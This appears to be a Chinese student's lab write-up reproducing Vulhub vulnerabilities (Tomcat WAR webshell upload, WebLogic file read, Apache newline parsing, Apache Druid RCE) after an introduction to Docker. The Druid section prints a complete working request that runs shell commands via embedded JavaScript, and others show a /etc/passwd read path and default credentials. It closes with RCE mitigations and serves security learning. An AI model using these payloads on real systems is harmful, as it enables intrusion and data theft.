1.安装docker和docker-compose
Docker 是一个开源的平台,用于自动化应用程序的部署、扩展和管理。它使用容器技术来打包应用程序及其所有依赖项,以便在不同的计算环境中一致地运行。
Docker 的关键组成部分
-
Docker Engine:这是 Docker 的核心部分,它是一个运行在宿主机上的客户端-服务器应用。它包括一个守护进程(
dockerd
)和一个命令行客户端(docker
)。 -
Docker 镜像:镜像是一个轻量、可执行的独立软件包,它包含运行某个应用程序所需的所有代码、运行时、库、环境变量和配置文件。
-
Docker 容器:容器是从 Docker 镜像创建的运行实例。容器是隔离的、可移植的,可以在任何支持 Docker 的系统上运行。
-
Dockerfile:这是一个文本文件,包含了 Docker 镜像构建的所有指令。通过编写 Dockerfile,你可以定义如何创建自定义镜像。
-
Docker Compose:这是一个工具,用于定义和运行多个容器的应用。使用
docker-compose.yml
文件,你可以配置应用的服务、网络和卷等。
Docker 的主要特点包括:
-
容器共享宿主操作系统的内核,因此比虚拟机更轻量,占用更少的资源。
-
容器可以在任何支持 Docker 的系统上运行,确保应用在不同环境中的一致性。
-
容器启动速度远快于虚拟机,通常在几秒钟内即可启动。
-
每个容器都在独立的环境中运行,确保应用的依赖和配置不会干扰其他容器。
-
镜像可以版本化,允许轻松回滚到以前的版本。
-
通过 Docker Compose 等工具,用户可以轻松管理和编排多容器应用。
安装 Docker
Docker Compose
Docker Compose 是一个用于定义和运行多容器 Docker 应用的工具。通过 docker-compose.yml
文件,你可以配置应用的服务、网络和卷,然后使用简单的命令来启动、停止和管理整个应用。
特点:
-
允许用户通过一个单独的配置文件定义和管理多个容器,简化了复杂应用的管理。
-
使用
docker-compose.yml
文件来描述应用的服务、网络和卷。这种声明性配置简化了容器的配置和启动过程。 -
可以使用
docker-compose up
命令启动所有服务,并自动创建和启动定义的容器、网络和卷。 -
确保开发、测试和生产环境中的容器配置一致,减少环境间的不一致性问题。
-
提供了一系列简化的命令(如
docker-compose up
,docker-compose down
,docker-compose logs
)来管理容器和查看日志。 -
支持通过
docker-compose.yml
文件的scale
选项或 Docker Compose 的集群管理功能(如 Docker Swarm)扩展服务。
主要组件:
-
docker-compose.yml
文件:配置文件,用于定义服务、网络和卷。每个服务可以指定其使用的镜像、构建上下文、环境变量、端口映射等。 -
docker-compose
命令:CLI 工具,用于管理 Docker Compose 配置文件中的服务。主要命令包括:docker-compose up
:启动配置中的所有服务。docker-compose down
:停止并删除配置中的所有服务。docker-compose build
:构建服务镜像。docker-compose logs
:查看服务的日志。docker-compose ps
:查看正在运行的服务的状态。
-
服务:配置中的主要部分,每个服务代表一个 Docker 容器。服务可以从镜像构建,或通过
Dockerfile
进行构建。 -
网络:服务可以连接到一个或多个网络,Docker Compose 默认会创建一个网络来使所有服务相互可见。用户可以定义自定义网络。
-
卷:用于在容器之间共享数据或持久化数据。Docker Compose 允许定义并挂载卷到服务中。
通过 Docker Compose,可以简化复杂应用的开发、测试和部署流程,尤其是在需要协调多个服务和容器的场景中。
VPS安装docker-compose
2.vulhub中的漏洞,全部复现,同时说明漏洞成因
1.tomcat 弱口令/后台文件上传getshell
下载
启动
在vps的docker中启动靶场后访问8080端口
编辑shell.jsp
安装JDK后打包
把打包好的war包传回本机:
上传后访问
蚁剑连接
进入虚拟终端,成功。
漏洞成因
Tomcat manager 登录界面存在弱口令漏洞,而用户tomcat拥有上述所有权限,密码是tomcat。
omcat支持在后台部署war文件,可以直接将webshell部署到web目录下,直接访问路径,可直接拿到shell。
2.weblogic 弱口令/任意文件读取
访问weblogic后台
http://xxxxxxxx/hello/file.jsp?path=/etc/passwd直接访问到passwd,weblogic密码使用AES加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,为SerializedSystemIni.dat
和config.xml,
用burpsuite来读取使用weblogic_decrypt.jar工具解密
weblogic/Oracle@123直接登录管理后台
漏洞成因
- 存在弱口令
- WebLogic 存在任意文件读取漏洞,攻击者可以通过未授权的方式读取服务器上的敏感文件,这里被读取到了管理员密码的密文以及加密时使用的密钥。
3.apache 换行解析
打开8080端口,看到一个文件上传页面
此时我们用BP拦截抓包,,在上传文件包文件名后添加一个\x0A
访问上传的evil.php%0a文件成功,说明存在漏洞
漏洞成因
Apache HTTPD 2.4.0 到 2.4.29 版本的解析漏洞允许攻击者通过在文件名中插入换行符(如 \x0A
)绕过安全策略。具体来说,当请求一个名为 XX.php\x0A
的文件时,Apache 会将其解析为 XX.php
,而不是被视为不合法的文件名,从而绕过一些基于文件后缀的安全策略。这可能使得攻击者能够绕过配置限制并执行恶意的 PHP 代码。
4.apache druid RCE
访问8888端口进入Druid console控制台界面
浏览器在那个页面随便访问一个,打开BP拦截抓包,把POST请求包发送到Repeater,BP监听一下端口,然后,然后把内容替换成下面的数据包
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
服务器执行id命令,可以更改id使用不同的命令
漏洞成因
在 Apache Druid 0.20.0 及以前版本中,存在一个漏洞,允许攻击者通过构造恶意请求执行任意 JavaScript 代码。这是因为 Druid 的某些功能允许嵌入用户提供的 JavaScript 代码,而这一功能默认启用且未对输入进行充分验证。攻击者可以利用这一点绕过配置限制,导致远程代码执行。
3. 总结RCE漏洞的原理和利用条件及解决方案
远程代码执行漏洞允许攻击者在目标系统上执行任意代码。其原理通常包括:
- 攻击者通过未验证或不正确验证的用户输入,注入恶意代码。
- 应用程序错误地执行了来自不信任源的代码,如通过
eval()
、exec()
、system()
等函数。
利用条件:
- 攻击者能够控制或影响传递给应用程序的输入。
- 应用程序允许从输入中生成和执行代码。
- 应用程序运行在足够高的权限下,使得恶意代码的执行能影响系统或数据。
解决方案:
- 确保所有用户输入都经过严格的验证和清理,避免将未过滤的输入直接传递到执行代码中。
- 尽量避免使用如
eval()
、exec()
、system()
等函数。如果必须使用,确保输入经过严格的处理。 - 应用程序应以最小权限运行,减少恶意代码成功执行带来的风险。
- 定期更新应用程序和依赖库,应用最新的安全补丁,修补已知的漏洞。
- 定期进行安全审计和代码审查,以发现和修复潜在的安全问题